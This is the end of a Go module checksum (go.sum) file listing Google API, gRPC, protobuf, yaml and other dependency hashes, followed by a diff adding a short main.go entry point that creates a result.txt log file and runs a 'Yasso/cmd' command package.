google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=
google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=
google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg=
google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE=
google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8=
google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU=
google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94=
google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo=
google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4=
google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw=
google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU=
google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k=
google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE=
google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE=
google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI=
google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU=
google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I=
google.golang.org/api v0.62.0/go.mod h1:dKmwPCydfsad4qCH08MSdgWjfHOyfpd4VtDGgRFdavw=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24=
google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k=
google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k=
google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=
google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=
google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w=
google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=
google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=
google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=
google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=
google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=
google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211129164237-f09f9a12af12/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211203200212-54befc351ae9/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=
google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=
google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=
google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=
google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 h1:VpOs+IwYnYBaFnrNAeB8UUWtL3vEUnzSCL1nVjPhqrw=
gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=

14
main.go Normal file
View File

@@ -0,0 +1,14 @@
package main
import (
"Yasso/cmd"
)
func init(){
cmd.CreateLogFile("result.txt")
}
func main() {
cmd.Execute()
}